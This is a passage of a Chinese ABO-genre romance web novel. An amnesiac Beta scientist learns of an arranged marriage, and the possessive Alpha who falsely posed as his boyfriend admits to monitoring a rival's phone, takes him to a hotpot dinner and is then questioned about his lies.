不过黎白榆没有细说,也是只说自己丢失了一部分记忆,没有提及割腕、被逼婚之类的具体经过。 他知道蔺空山去狮城是为处理遗产,最近都比较忙。 一方面,黎白榆不想让蔺空山担心。另一方面,蔺空山自己的原生家庭,也有着一本难算清烂账。 小时候,他们就是作为学校里唯二会天不亮就提前去学校的人,才因此相识的。 黎白榆今晚也依然说了没事,又约了等蔺空山回国后,和对方见面。 聊完,黎白榆就放下了手机,去吹头发。 虽然是高档酒店,但设施也没有像严野客的别墅中那么周全。房间的吹风机没有支架,要使用的人一直自己举着。 黎白榆换到右手去拿时,没多久手臂就有点发酸,撑不住。 他只能重新换回了左侧。 略微聒噪的暖风之下,黎白榆心不在焉地梳散着长发。 他知道,自己该对所谓男友的事,做个真正的考虑了。 *** 第二天清早,黎白榆刚走出房门,就迎面遇到了同样出来的严野客。 两人开门的动作几乎没差几秒,这碰面巧得让Beta的脚步都顿了一下。 对此,Alpha倒是不觉有异,还淡然询问黎白榆:“你也去吃早餐吗?” 严野客略一偏头,示意。 “餐厅在十一层,一起?” 黎白榆抿了抿唇,道:“我上午预计要陪李景煦去输液。” “我想和他单独聊一聊。” 青年的语气依旧清冷平和,却让严野客的身形微顿。 Beta的直言相告,意味也很明显。 他是在表明态度,不希望被严野客干涉、阻拦。 “……” 严野客的唇线微微绷直,目光垂低了一寸。 “我的易感期……已经过了。” 他低声开口,说。 “我还是不行吗?” 隔壁房间的李景煦听闻动静走出来时,一眼看到的就是这一幕。 他微微抽搐了下嘴角,忍不住怀疑自己的眼睛出了问题。 怎么好像看见了……恶魔在撒娇。 但很快,鲜明蔓延过来的冰冷信息素,就让李景煦差点被呛得一哆嗦。 ……得,没看错。 还是这位真阎罗。 黎白榆听言,抬手碰了碰严野客的衣袖,还偏头去看了一眼对方的颈后。 Alpha确实没再用隔离贴,衬衣袖口下的皮肤温度也没有昨日那么异样地冰冷了。 黎白榆收回视线,看着严野客,说:“等从医院回来,我也想和你聊聊,可以吗?” “……” 严野客听着他平静的语气,沉默了一瞬,方道。 “好。” 简单吃过早饭,黎白榆就和李景煦去了医院。 从两人进医院,开药,挂上输液瓶,到找了一个偏僻安静的角落坐下来,可以单独聊天。 全程都没有旁人来打扰,也无人再“意外”干涉。 李景煦还看了一圈,确认这一角真的没有严野客的人在监看。 他心中不由得生出了一种颇为奇异的感觉。 每当觉得严野客不可理喻、无可撼动的时候。 却又会看到他被黎白榆影响,做出变更。 李景煦知道黎白榆的性格,Beta美丽,清冷,纯善,偏又在与人交往时,带着天真与迟钝的不知情。 也是因此,明明黎白榆如此天才,非常厉害,也总是能帮人解决深奥的棘手问题。 却还是会让人忍不住地替他担心。 怕他会太容易遭觊觎、被伤害。 而严野客本身的冷漠沉肃,又是他极好的保护色。 让他真实的凶冷疯悍,在黎白榆面前被掀现,恐怕都还不如冰山一角。 可是在冰封极寒的海面之下,那足以轻易撕裂最牢固轮渡的恐怖力量。 却还丁点都没得以被窥见。 所以在看到这样的可怕Alpha,被黎白榆约限,竟是真的会改变举止。 ……就更让人觉得不可思议。 觉得如此割裂。 偏又契合到奇异。 ……等等,自己怎么会觉得白榆和严野客投契? 李景煦恶寒了一下,用力甩掉了这奇怪的想法。 他只能把这归咎于自己可能真的有点被烧傻了。 “冷吗?” 一旁接完水的黎白榆回来,看到李景煦哆嗦了一下,还以为他真的烧到畏寒。 “我去拿个薄毯?” “没事没事,不冷。” 李景煦忙摆手解释。 “你早饭时说想和我单独聊聊,是不是想问我们过去的事?” 这些事,哪怕黎白榆不问,李景煦原本也是要和他说的。 不然,还不知道会被那个冷到冻死人的严大少歪曲成什么样子。 他开始详细解释。 “我们是两年前在留学生活动时认识的,那次我抽到了你的食品签。” 黎白榆安静听着,发觉。 在他和李景煦相识的事上,严野客说的确实是实情。 那次李景煦吃黎白榆做的菜,吃坏了肚子。出于愧疚,一向社交不多的黎白榆加了他的微信,还请他去外面餐厅吃了顿饭。 哪怕单独约饭,Beta的话也不算多,不过李景煦很健谈,并没有让场面冷下来。 尤其在聊天中,得知黎白榆对厨艺感兴趣后,后来李景煦就时常会将一些做饭相关的活动发给黎白榆,不时也会自己组织一些,邀请黎白榆过去。 虽然黎白榆实验忙,参加的次数不多,但一来二去,两人也算是更熟悉了些。 “去年年底,我打球时跟腱受伤,休养了三个多月。” 李景煦说。 “当时因为激素用药不当,导致我身体不适,过敏水肿得很厉害,正巧你路过,帮我做了应急处理。” “后来,你又帮我调整了用药方案,还给我推荐了新的定制护具,让我缩短了休养时间,还彻底康复,没留下病根。” 这也是李景煦昨天会说,该是他要感激黎白榆的重要原因。 而黎白榆听到这里,也想起了衣明诀的话。 衣明诀最早说过,黎白榆和“男友”的相识,就是因为他帮对方定制了医用护具。 只不过可能黎白榆帮过的人有点多,所以这个说法放在严野客身上也成立。 让黎白榆没能察觉出异样。 “后期有一次调整用药,我去找你的时候,意外听到了你在接家里的电话。” “我不是有意的,”李景煦又道了次歉,说,“但也是那次,我知道了你在被家里催婚。” 黎白榆恍然。 难怪。 黎白榆一直觉得自己不会主动把私事和别人说,连衣明诀都不知道他被催婚的事。 他又分神了一秒:那严野客是怎么知道的? “至于为什么在三个月前,我们会突然对外公布在一起,是因为那时候,你的结婚对象也要来北美交换,好像是家长想让你们提前培养一下感情。” 然后再催着两人结婚。 黎白榆自然不愿接受。 他正在改投给Nature主刊那篇论文的修改意见,当时正是忙碌的时候,又根本不想被迫结婚。 “是我主动提议帮忙,让你可以用自己有男友为理由,拒绝这场强行的联姻。” 李景煦解释得很坦诚,一如他本人给黎白榆的印象。 Alpha为人真的很爽朗正直,没有偏颇藏私。 黎白榆听完,也没有生出任何的违和感。 “那,那位联姻对象,现在在斯坦福吗?”他问。 “没有,他好像在加州另一所学校。”李景煦道,“他来北美之后,你也没有去见过他。” 可能就是因为黎白榆没去和人见面,才更激怒了黎父。 让黎父甚至不惜以自己重病为理由,把人骗回国逼婚。 “那这人……”黎白榆怔了怔,“这个联姻对象家,好像也一直没有找我?” 至少在失忆后醒来,他并没有接触到相关的信息。 连自己曾经有婚约的事都不记得了。 这人是也和李景煦一样,在自己失忆前被拉黑了吗? 黎白榆正想着,却见李景煦抬头,向四周望了望。 确认四下没有其他人之后,李景煦才严肃着神色,道。 “这就是另一个很关键的问题。” “之前严大少在场,我没有提,但我之所以能查到可能是他带走了你,就是因为前几天刚刚得知了消息。” 李景煦吸了口气,才继续说。 “严家近日公开了婚约,婚约对象就是黎家。” 黎白榆怔顿了一下:“……我家?” 黎家的小儿子只有十五岁,才中考完,自然不可能结婚。 那这个婚约对象,就只可能是大儿子黎白榆了。 黎白榆还敏锐地注意到了一件事:“你说,婚约是近日才被公开的?” 自己被催婚不是已经很久了吗? “对,消息是最近公开,但婚约好像已经很久了。严家的说法,是前段时间家主老爷子一直在生病,最近身体终于好转,才公开了这个喜讯。” “……” 黎白榆并指,按了按自己温软的侧颊。 所以……他的联姻对象真的是严野客? 怪不得Alpha会那么理直气壮地说是自己的男友。 原来,他可能自认身份比“男友”更正统。 所以严野客会那么介意自己和李景煦的关系,也是因为这样吗? 他是不是也还在耿耿于怀,去了北美三个月,自己都没去见过他? 但黎白榆又隐约觉得有一点难以言明的怪异,因为自己对这个婚约,肯定没有多少积极的情绪。 他被家里强行催了这么久,不对结婚对象牵连生出什么怨气,都已经很不错了。 可是黎白榆面对严野客时,却又好像没有……多么恨屋及乌的感觉? 也是这时,黎白榆又听李景煦说。 “但我怀疑,严大少应该不是之前和你定下婚约的那个人。” 黎白榆微惑,两根皙白的指尖在侧脸浅浅地戳出了一个软窝。 “嗯?” 真的有问题? 可,这不是严家主动公布的婚约吗? “我之前不是很清楚你那位联姻对象的具体消息。”李景煦说。 黎白榆本身就不是外向的性格,即使同意了李景煦的男友提议,也不愿因为自己的事,给李景煦添太多麻烦。 他当时还反复确认了,这样会不会影响李景煦找伴侣。 即使李景煦说没问题,他也没有让Alpha太多掺和进自己家的这些杂乱的琐事里。 不过偶尔的,李景煦还是零星得知了一点消息。 “你有一次提到过,你婚约对象的中文名,是两个字。” ……两个字? 黎白榆蹙眉。 “严家同一辈里,还有一位二少,是严野客的堂弟,一位男性Beta。” 李景煦说。 “他的名字,的确是两个字。” “所以我猜测,原本要跟你结婚的对象,可能是这位。” 黎白榆:“……” 他刚刚原本以为,严野客如此关顾照看自己,是准备亲自来催婚的。 结果事实却可能是。 ……来抢亲的? 第 28 章 028 “……” 黎白榆挪开颊侧的手指, 轻轻摸了摸自己挺秀的鼻尖。 他还意识到了一件事。 所以,说到底,严野客对李景煦这位“男友”的质疑, 其实还是名不正言不顺。 ——只是他自己理直气壮。 “这也是我想提醒你的,白榆。” 李景煦吸了口气。 “严大少这个人,是真的很危险。” “一个是他性情偏激,完全做得出抢自己弟弟联姻对象的事。” “再者, 就是他很有能力。” 因为还没来得及询问本人, 黎白榆对严野客真正的学历了解不多。 但同在港城, 李景煦对严家这位与自己同一辈的天才Alpha,却早有耳闻。 “他是英本, 美硕。本科就读于牛津大学计算机学院, 研究生毕业于麻省理工的计算机工程。” 倘若真论起院校, 也一点也不比同为名校的斯坦福逊色。 更遑论,牛津和MIT的计算机都是全球排名前列的王牌专业。 黎白榆听见,也想。 怪不得严野客会在西欧那边组建车队。 原来他本科是在伦敦读的。 “不只如此,早在十年前,严野客十五岁的时候, 他就以一支个人的独立基金, 入场操盘, 收获了利润率非常惊人的回报。” 说起来,严野客出身港城严家, 他这支个人基金的来源, 肯定有家族助益。 甚至这种所谓的天才神童、操盘获利, 也可能是豪门为了吹捧炫耀,背地里找了职业操盘手帮忙代劳,然后把荣誉光环加诸于未成年小辈身上的虚假伎俩。 在过去多年中, 类似的例子其实也并不算少见。 但这种“天才事迹”,吹得了一时,却吹不了一世。 “本科期间,他就创立了投资公司,把数学模型和算法数据应用到了投资之中。并且在七年前那场全球性的股灾中脱颖而出,一战成名。” 这种实战,可不是虚假的吹捧能碰瓷的。 说到自己的学科相关,李景煦不由多聊了几句。 他还苦笑了一下:“可能这就是数理天才在金融领域,对我们这些本专业生的降维打击吧。” 黎白榆也想起了自己之前看过的,严野客的那几篇论文。 那些论文确实都与量化投资有关,所以他才误以为对方真的学金融。 “之后读研,严野客来了北美。到如今,他的那家投资公司已经成了量化投资领域的标杆,旗下的几支基金都非常有名。” “现在我们学院想去实习,都会把那里当成梦企,虽然能获得资格的概率很低。” 在这一点上,李景煦并没有掺杂主观情绪,他很清晰地正视了两人的差距。 虽然都是二十五岁,但显然,严大少和其他的同龄学生已经拉开了明显的阶层之分。 “我说这些,是想表示,严大少是一个规划非常清晰的人。他的每个举动都有很强的目的性,而且很喜欢一箭N雕。” “就像硕士期间,他会离开牛津,选择麻省理工,也不单是为了刷学历,还因为金融领域,北美比欧洲更成熟领先。而且他来MIT,也能更方便网罗北美的高校人才。” 李景煦说。 “这几年,他的公司高薪招揽了很多数学和计算机专业的天才。” “所以我担心——” 李景煦伸手按了按自己左手手背上的针头棉球,停了停,才道。 “担心他对你,也会别有用心。” “可能在感情之外……还有其他企图。” 毕竟,让这么一个外人眼里的传奇二代,谈论什么纯粹的“爱情”。 总会显得有些过分的苍白与虚幻。 黎白榆闻声,点点头。 他也是这么想的。 主要是因为黎白榆觉得,本来就没什么会想和他谈感情。 和自己谈恋爱,想想就太无聊了点。 “而且,前段时间,严家的家主病重,在家产一事上,他们家好像还有些纷争。” 李景煦还补充。 “严家老爷子总共有三个儿子,大儿子Alpha,就是严大少的爸爸,多年前就已经离世。小儿子Alpha,几年前也去世了。” “现在在世的,仅剩那位性别为Beta的二儿子,也就是严二少的父亲、严野客的二叔。” “目前严家只剩他们这两脉,因为严老爷子在世,严家一直没有分家,所以在企业掌权和家产继承方面,竞争可能也会很激烈。” 虽然严野客有自己的投资公司,但因为他的年纪太轻,在外人眼里,总觉得他的成功与豪门家世脱不开关联。 何况严家以航运起家,如今已有半个世纪的经营积累,家底颇为丰厚。据坊间传闻,其遍及全球的航道资源与企业规模,总数或许不下千亿。 在这么庞大的数字面前,亲情的份量又何足轻重。 哪怕是个人创业早已成功,也不会轻易放弃这种数额的资产之争。 毕竟,谁会嫌自己的钱多呢? “我听传闻讲,严大少和他二叔,闹得局面好像还是挺僵的。直到最近严老爷子的身体好转,才很勉强地将将停息了战火。” 但严老爷子毕竟年事已高,不止是港城的吃瓜群众,连李景煦原本也以为,严野客最近会一直留在港城。 所以在听闻严野客去粤城时,他才会那么惊讶。 等见到本人时,李景煦就更难以理解了。 严大少看起来完全游刃有余,并没有收到家门纷争的影响。 他看起来甚至都没有专注在家产或者工作上—— 而是在专心地囚禁黎白榆。 “有句话说,不怕疯子,就怕是个太有能力的疯子。” 李景煦轻叹了口气。 “我还是希望,白榆,你能够对他保持一些警惕。” 黎白榆听完,其实也有不解。 那现在严家岂不是应该还有很多事,严野客为什么会专程跑来跟着自己? 哪怕是为了结婚,其实也很难讲得过去。 黎父做的只是电子厂的生意,从资产来说,黎家和严家这种港城知名的豪门根本没法比。 这场联姻,原本就显得有些不甚匹配的怪异。 而黎白榆本人又是个男性Beta,不可能受孕,连最基本的生育价值都没有。 那严野客和弟弟抢亲,又有什么意义? “你有什么打算吗,白榆?”李景煦问。 黎白榆回神,道:“我准备和他当面谈一谈,把之前的事都问清楚。” “当面谈……” 李景煦皱了皱眉。 他的反应,也和衣明诀一样。 “我有点担心,严大少会说实话吗?” “我会试着评判。”黎白榆说。 “我已经把想问的疑惑整理了出来,包括了他之前所说,还有他即将给我的答案。” “依照所有问题的真假程度,和前后对照,算出一个印象的总分。” 当然,还有严野客的举动,以及黎白榆这些天来受到的那些关照。 毕竟,论迹不论心。 “我会依照分值变化,调整对他的取信比例。” 黎白榆道。 如此一来,就可以像做实验一样,参照明确,流程清晰。 他说得很是条理明了,但李景煦听完,却面露诧异。 旋即,Alpha露出一抹苦笑。 “听起来……也像是在解题,或是列实验的进程表? 黎白榆微微偏头,有些疑惑:“不应该是这样吗?” 李景煦斟酌片刻,才道。 “一般……感情这种事,可能很难准确衡量。” 他方才的提醒,其实也是不想白榆被欺骗深陷。 但李景煦这时才察觉,自己可能有点杞人忧天。 其实,对于感情,眼前的Beta却从来都分得很清。 黎白榆在全然失忆后醒来,一直被严野客看顾照料,身体好转,没有受伤,也没有再遭到显露于外的强行胁迫。 从常理来说,这样空白茫然的失忆病人,会自然而然地对照看者产生留连、依赖。 但黎白榆却没有。 就像——李景煦想,就像青年即使对朋友默认了自己是他的男友。 但无论在外,还是两人相处。 黎白榆都从来没有暧昧耳红的时候。 黎白榆是个Beta,还有着罕见的信息素失嗅。 于是他本人就真的不会被激素所影响牵动,好像连多巴胺、荷尔蒙也一并屏蔽得干净。 永远清醒,永远理智得无动于衷。 “你一直——” 忍不住地,李景煦还是问了一句。 “一直会这样凭借计量来判断感情吗?” 让人听了会诧异心惊,又情不自禁会想。 青年是遇到过什么,才会养成这样的性格? 黎白榆沉默了片刻:“是吧。” 人的感情,确实很难精准衡量。 他微微垂眼,薄软的长睫晕着一星灿芒。 “可能有人接收不良……才需要计数辅助。” *** 李景煦的烧已经退了,今天输完液,也基本没有了生病的症状。 年轻的Alpha都身强体壮,他甚至连明天的点滴都有些不想打了。 但黎白榆担心他的状况,依然坚持让李景煦去做了检查。 “你昨天毕竟受了伤,说不定脾脏会受影响。” 哪怕昨晚严野客动手时避开了要害,也可能会有万一。 黎白榆还是不怎么放心。 “而且现在已经在医院了,顺便去查一下。” 最后,李景煦还是被Beta以“来都来了”为理由,推去做了一套全身检查。 检查的结果原本要三天后才出来,结果没想到,才刚刚下午,李景煦就接到了第一医院打来的电话。 “……肝部肿瘤?” 这个消息把年轻体壮的李景煦都吓了一跳。 原来他这次全身体检,竟是意外查出了潜伏在肝部的一颗肿瘤。 因为只在初期,肿瘤瘤体较小,没有在身体上呈现出任何不适的征兆,彻底切除也很容易。 但如果瘤体再生长下去,情况就可能很危险了。 毕竟,肝部的恶性肿瘤,也就是肝癌,本身就很难被察觉发现。 一旦被患者真正感知到,往往都已经是扩散之后的晚期了。 因为之前完全没有症状,李景煦对此一无所知,幸亏这次全身体检,才发现了这颗尚在初期的肿瘤。 虽然起因是被严大少打了一回,但某种程度上来说,这也完全能算是因祸得福了。 不过也因此,在李家得知这个消息之后,李景煦立刻就收到了家人的夺命连环CALL。 家人放心不下,要立刻把他接回港城,去做手术。 李景煦被迫当天就要离开,他还对黎白榆有些放心不下,便发了消息,问Beta接下来打算去哪儿。 留在粤城,可能还会被严大少盯。如果回港城。 ……好像更容易被盯了。 黎白榆倒是没怎么紧绷,只说没事,还叮嘱李景煦尽快回港,好好养病。 【黎Li:我可能会提前回北美,我们返校见^-^】 李景煦看着那个像极了美丽青年自己笑时会露出的小表情,很难不承认。 自己因为这连番的意外而焦郁的心情,都明朗了一分。 而在李景煦离开时,他在和来给自己送行的黎白榆分别后,却又看到了一个意料之外的高挑身影。 “……” 李景煦就知道,现在有白榆的地方,几步之外,肯定有个冷脸的Alpha跟着。 严野客是一个人过来的,但李景煦也并没有自作多情到以为,严大少会给自己送行。 马上要走,李景煦的涵养也没那么稳定了,忍不住刺了他一句。 “严大少还挺热心的,生怕我家里不知道我生病的消息。” 李景煦又不是傻子,自然察觉,自己家中会那么快得知消息,又这么急切地催自己回港,其中肯定有严野客的插手。 但严大少又什么时候在口头上被人压倒过气势。 “怎么,只许你借人来干涉我?” 李景煦能那么快找到严野客粤城别墅的具体位置所在,又清楚保镖的人数,必然也有着旁人的协助。 虽然严野客没有继续说,但从他的冰冷神色,李景煦也看出来了。 那个狗B严二——B是Beta的意思。 他敢出卖消息,背刺堂哥,接下来的日子肯定不会好过。 李景煦还没来得及替严二少担心一下,就又听严野客说。 “白榆会没事,安稳地回校,不劳你费心。” 李景煦一开始还没反应过来,直到看见对方毫无波澜、也毫无掩饰的冷漠目光,才突然意识到。 ——这不是自己下午给白榆发的消息吗? “你监控白榆的手机?!” 所以除了强词夺理的囚禁之外,对方居然还—— 李景煦的火气刚刚噌的一下烧起来,就见严野客冷淡道:“没有。” “我不会未经他同意,侵犯他的隐私。” 你侵犯的还少吗?! 李景煦根本不信他的话,刚想出言反驳。 严野客却道:“我监控了你的手机。” 李景煦:“……………” 哈?!! 面前,丝毫不觉得自己行为有过的冷郁Alpha还漠然道。 “我要谨防所有可能伤害他的人。” 意思就是白榆的隐私不能被侵犯。 但李景煦随便。 李景煦被气得真的感觉自己有点肝疼。 他现在怀疑,自己和严野客根本不是什么金融学生和数理生的思维差别。 而是正常人,和强词夺理、冠冕堂皇、阴森偏执的男鬼的区别。 “我已经给李家推荐了港城做肝肿瘤切除手术最权威的专家,他们会预约到十天后的手术名额。” 严野客忽然开口。 他拿着手机,单指编辑着什么消息,站姿散漫,神情也有些漫不经心。 甚至他都没有抬眸,分一点目光给面前的人。 但李景煦却还是清晰感觉到了对方的霜寒冷意。 威势逼人的冰冷信息素,让李景煦不由皱眉,肩背微绷,下意识地进行抵御。 不管是严野客的话,还是他的信息素,都清晰表明了同一个意思。 ——让李景煦快点滚。 而说完这些,严野客也没打算再跟人废话,转身就准备离开了。 不过他走时,李景煦却听到了一道铃声响起。 接着,他就见严野客接起了电话。 “嗯,我就在机场停车场,你下到出口这边,出来就能看到我。” 和方才的森冷相比,此时的严大少却语调沉稳,嗓音平和。 李景煦甚至还听到传闻中一向不喜欢接电话的严野客,在主动和人提议。 “今晚要不要吃打边炉,还是你更喜欢清水的牛肉汤锅?” “两个我都可以做。” 用头发丝想也知道,他究竟是在和谁打电话。 李景煦以前听遍了传闻,一直觉得,严大少是个众所周知的冰山。 现在他却觉得,对方明明更适合另外两个字。 ——变脸。 忍不住的,李景煦还有着一点担心。 他知道,黎白榆不会被感情轻易蛊骗。 ……但谁也不能保证。 Beta会不会被喷香的锅子给骗了? 第 29 章 029 黎白榆依循电话中所说的下楼, 果然在地下二层的停车区,看到了严野客。 今天来机场送行李景煦,黎白榆原本是想打车来回的。但严野客也要跟着, 于是最后就定了一个折中的方案——严野客开车来送,但人不露面。 黎白榆主要是怕他们两个A见面,会有什么意外,再争执或打起来。 Beta并不知道在自己离开后, 那两个A其实还是碰了面。不过他们没动手。 因为黎白榆不在。 孔雀开屏给谁看? “孔雀开屏”也不是个夸张的形容, 因为黎白榆下来, 一眼就看到了严野客的车。 那是一辆两座的布加迪,低底盘, 液态流动般的特种漆。车身通体都是夜幕般的纯黑色, 就连车牌, 都是黑色的粤Z港牌。 哪怕黎白榆对跑车没什么研究,但今天第一次见时,也被吸引着多看了一眼。 有的车,就是哪怕一窍不通的外行人,也能一眼看出其奢贵与美丽。 黎白榆走近, 无框车门在他面前斜飞向上, 自动开启。 跑车没有后排, 仅有的空位就在车手身边。 一上车,黎白榆就听严野客问:“选好想吃什么了吗?” 黎白榆伸手拉过安全带, 慢慢扣好。 他垂眸, 说:“在外面吃吧。” 青年的话里, 并没有想回那栋别墅的意思。 “好。” 但严野客却仿若不觉,还主动提议。 “我知道回去的路上有家清水打边炉,你想试试吗?” 清水打边炉, 可以兼顾打边炉和清水牛肉锅。 黎白榆自无不可。 去吃饭的路上,黎白榆看着车外风景,原本还在想今晚要和Alpha聊的事。 但等到了店,清水汤锅和现片的新鲜肉食端上来时,他却完全没办法再分心了。 怎么会有这么多奇奇怪怪、格外可口的食材? 比如现宰的鲜猪胃部下方的“竹肠”,口感爽脆又有嚼劲。猪牙边上的“牙肉”,极致鲜嫩,又不失层次感。 又或是牛舌根部的“牛利根”、带着薄筋纹路的五花牛腱,统统都被切成透光的薄片。 过分新鲜的牛肉,是真的让人吃出了传说中的、浓郁的“奶香味”。 因为食材新鲜,本味鲜美,无论脏器还是荤片,入口时,都没有一丁点的腥膻味。 仅仅搭配一点酱油、鲜榨的花生油和葱姜丝,就可以吃得让人根本停不下筷。 黎白榆还听到隔壁桌大嗓门的大哥讲,说打边炉最讲究食材,下水时间也非常精确,哪怕前后只差几秒,肉的嫩老程度不同,口感都会很不一样。 他对火候、口感这种事的学习领悟一向有些欠缺。但桌对面的Alpha却和黎白榆正好相反。 这家清水打边炉似乎是个老字号的总店,因为恰逢暑假,又是周五晚上,店内的顾客非常多。 严野客也是提前差人去取了号,才没有在抵达后再等号排队。 也是因为人太多,服务员们有些忙不过来。 期间,这些下锅食材的放入和打捞,不时就是由严野客来动手帮忙的。 Alpha对汤起的时间掌控非常精确,总是能控制在最佳的美味定格。 就连最开始用餐前,严野客帮忙用清水汤锅灼过的葱姜丝,都比黎白榆空口吃过的调味更有味一分。 烧滚的清汤鲜锅在两人之间咕嘟着鲜嫩的食材,黎白榆不经意抬眸,隔着薄薄氤氲的雾气,望见严野客英俊淡漠的眉眼。 恍惚间,甚至好像易感期、李景煦、港城婚约……这些意外都未曾出现。 似乎一瞬又回到了两人在桌边一同享用着美食的安谧时间。 一顿美餐,又给波折两日的Beta直接充满了电。 黎白榆原本自己觉得,也这样和李景煦说了。 他不会在与严野客的感情上误解受骗。 但现在,在吃到真正爽脆嫩弹、奶香味十足的鲜美食材后,黎白榆却又藏不住地、带着点眼巴巴地看向了对面的Alpha。 因为在每一种菜品都品尝过味道之后,严野客就又不让黎白榆多吃了。 对总是会让人轻易心软的美丽Beta来说,在某些时刻,设限是非常有必要的。 他需要被执掌、被控制。 黎白榆自己也清楚,这顿吃完这么多种类的荤菜,肠胃也完全没有生出不适感,完全要归功于Alpha的技术,和浅尝的份量。 再多一点,颇为脆弱的肠胃可能就会生出不一样的状况。 但即使知道,这也没能影响Beta的目光—— 还在继续用餐的严野客被人用这种视线看了一会儿,就沉默片刻,终是停了筷子。 他还抬手叫来了服务员:“买单。” 黎白榆意外:“你不吃了吗?” 他有点不好意思:“是不是被我看的,你被影响到食欲了……” “没有。”严野客否认了。 不是被影响食欲。 Alpha有些心不在焉地想。 是会把他看得更饿。 “本来就点得多,想让你各种食材都尝一尝。” 严野客解释了一句。 “不用全部吃完。” 等结完账,Alpha就顺手把那些只用公筷动过、余量还很丰盛的菜品,全部送给了旁边桌上出来玩的纯饿大学生。 几位大学生的热切感激、热泪盈眶,把黎白榆都稍稍吓了一跳。 他还听到她们说,感谢大自然的馈赠。 帅哥和加餐都是。 等到两人出了店,准备离开时,其中还有一位长发女生追了出来,塞给了两人一个未拆封的小礼物。 “刚买的!不值什么钱,只是作为感谢,谢谢帅哥们!” 送完礼物,女生就跑回店里去了。 黎白榆原本就不太擅长和陌生人相处,当场也没能反应过来。 那个小礼物就留在了他手里。 上了车,黎白榆本想把东西给严野客,毕竟是给对方的答谢。 但严野客扫了一眼,不知瞥见了什么,却说。 “拆开看看。” 黎白榆依言拆开,就发现那个礼物是一个冰箱贴。贴身主体做的是粤城的圣心大教堂,样式和质感都很精致。 “是冰箱贴,挺好看的……” 黎白榆的话还没说完,就顿了一下。 因为他看到了冰箱贴上精致浮雕间,所写着的字。 “百年好合。” 一旁已经在倒车准备上路的Alpha却直接把上面的字念了出来。 严野客还道。 “还有一行是什么?” “……” 黎白榆下意识地把冰箱贴偏了一下,避让对方的目光。 “你,当心看路。” 虽然他旋即就反应了过来,这不过只是自欺欺人。 圣心大教堂是粤城的标志性建筑物之一,而教堂原本也是举行婚礼的场所,会写这种爱昵情语,并不稀奇。 只是另外的一行字…… “嗯。”严野客倒是好说话地直接应了。 但他还道。 “那你念给我。” “……” 黎白榆又沉默了几秒,才把另外的那行字念了出来,嗓音轻而快。 “——敢爱敢做。” 只是显然,再快也被对方听清了。 “哦。” Alpha还又饶有兴致地自己重复了一遍。 “敢爱敢做,百年好合。” “挺好的。” 黎白榆:“……” 布加迪启动,汇入粤城华美夜晚的车流之中。 借着瞥侧视镜的时刻,严野客淡淡望了身旁青年一眼,墨色的眸中有着极浅的笑意。 “敢爱敢做。” 他还又把那四个字重念了一回,才悠悠道:“一首粤语老歌,旋律不错。” “等你有空,可以尝试一下。” 一向冷面霜寒的男人,这时用带了微许笑意的语气说话,便会显出一些不同往日的不太严肃。 让人听了,总觉得他想试的。 不只是听歌。 *** 布加迪开回越秀区,目的地并不是严野客的别墅,而是医院旁的那家高星级酒店。 黎白榆说想回酒店聊一聊,严野客就开回了这里。 上电梯时,黎白榆习惯性地去摸自己的房卡,摸到一半,动作却顿了顿。 一旁的Alpha和他站得很近,却好像没看到似的,直接用自己的房卡刷了电梯,又开口。 “去我房间聊?” 黎白榆点了点头:“好。” 昨天订的三间双人房,除了李景煦那间,其余两个房间都还没有退。 进房通电,黎白榆把那枚重新塑封好的冰箱贴端端正正地摆好在房间的桌上,才走到一旁的圆墩椅上坐下来。 他先问了严野客第一个、也是最关键的问题。 “我右臂上的割伤是怎么回事?” 严野客刚脱下外套挂好,闻言,他整理袖口的动作微微一顿。 男人垂眸,接着才开口:“你被黎雨生关在家里,强行逼婚,试图离开那里。” 黎雨生是黎白榆的生父。 “所以我进行了自残?”黎白榆问。 严野客却道:“不是自残。” “你只是为了能离开被关的地方。受伤就需要处理伤口,可以出去。” 黎白榆不由多看了他一眼。 因为严野客说的,都是黎白榆视角的注解。而黎白榆当时割腕后被送去抢救,肯定不会对人说出自己的想法。 但严野客却猜到了。 还这么了解他。 黎白榆的确不可能自杀或自残,这只是他冷静解决问题的一种手段。 因为黎白榆清楚,自己不太可能有这么激烈的情绪…… 无论正面,还是负面。 “所以我是在港城出的事,”黎白榆道,“那我第一次苏醒时,也是在港城的医院吗?” “六个小时后,我再度醒来,才是被你转院到了粤城一院这边?” 严野客果然点了头:“嗯。” 在除开感情方面,Beta确实敏锐,逻辑也缜密清晰。 这些他都猜对了。 “为什么要来粤城?”黎白榆有些不解。 “这边清静,适合休养。” 严野客也没再隐瞒。 “你不会被打扰,也不容易会多想。” 打扰指的是黎家,当然也可能是李景煦。 而多想,则是—— “所以你才特意把我转到了公立医院?”黎白榆问。 “对。”严野客坦言,“你当时失忆,如果在私立医院醒来,可能会更揪心茫然。” 即使黎白榆失忆,逻辑和性格却不会变。 严野客可以在私立找人配合,在黎白榆面前上演一场瞒天过海。 但他还是更希望疲累太久的Beta,能多哪怕仅仅一分的心安。 黎白榆长睫微动,更深地看了严野客一眼。 因为他发现,Alpha真的很了解他。 无论是自己的身体、状况、喜好……还是他的思维逻辑。 所以他们两人之前,真的不熟吗? “这边的粤式美食,也会更多一点。” 严野客又补充。 “所以来粤城,不是为了能更方便骗你,说我是你男友。” 黎白榆:“?” Beta被这直白到有点像不打自招的话,惹得冒出了一个圆圆的问号。 而严野客则在心里想。 这个在哪里都能骗。 “所以你为什么要骗我说是我男友,还说我们该做的都做过了?” 黎白榆问。 “在失忆之前,我们到底是什么关系?” 他还注释了一句。 “请别用‘真爱’这种笼统的答案。” 严野客沉沉望着他,默然地看了好一会儿,才道。 “是单方面的男友关系。” 黎白榆:“……??” 他清俊的颊边冒出的问号已经增加成了两个。 “失忆前你第一次认识我,是两年前,我虹膜发炎,去小姨那里看眼睛。” 严野客终于从两人的相识讲起。 “之后,你时常会帮我调试药物方案。” “你完善的药物配比让我的瞳片舒适了很多,我很想感谢你。但你一直很忙,大多时间在实验室。” “有次中秋,你到纽约参加学术会议,当时小姨在欧洲出差,说我也在纽约,我们可以一起过节。” “那是我第一次约到你。” 黎白榆听着,慢吞吞地晃了晃自己的圆问号。 是吗? 可如果是与学术会议相关,自己怎么一点没能记得…… 他还在想,就听严野客没什么起伏地继续说道。 “只是那次,你在会议中途吃茶歇,意外诱发了肠胃炎。” “我们的约见就没能成行。” “……” 黎白榆忍不住,带点歉意地摸了摸眉梢。 这事听起来,确实像是自己会发生的意外。 “那后来……” “后来我就听说,你有了男友。”严野客的声音更少了一点温度。 黎白榆听懂了:“所以我们之前确实不是同校,也没有在谈恋爱——” 只是因眼伤和导师而结识的普通朋友。 自己对严野客没想起来,也不是因为所谓的情感丧失。 而是因为他们确实没有感情。 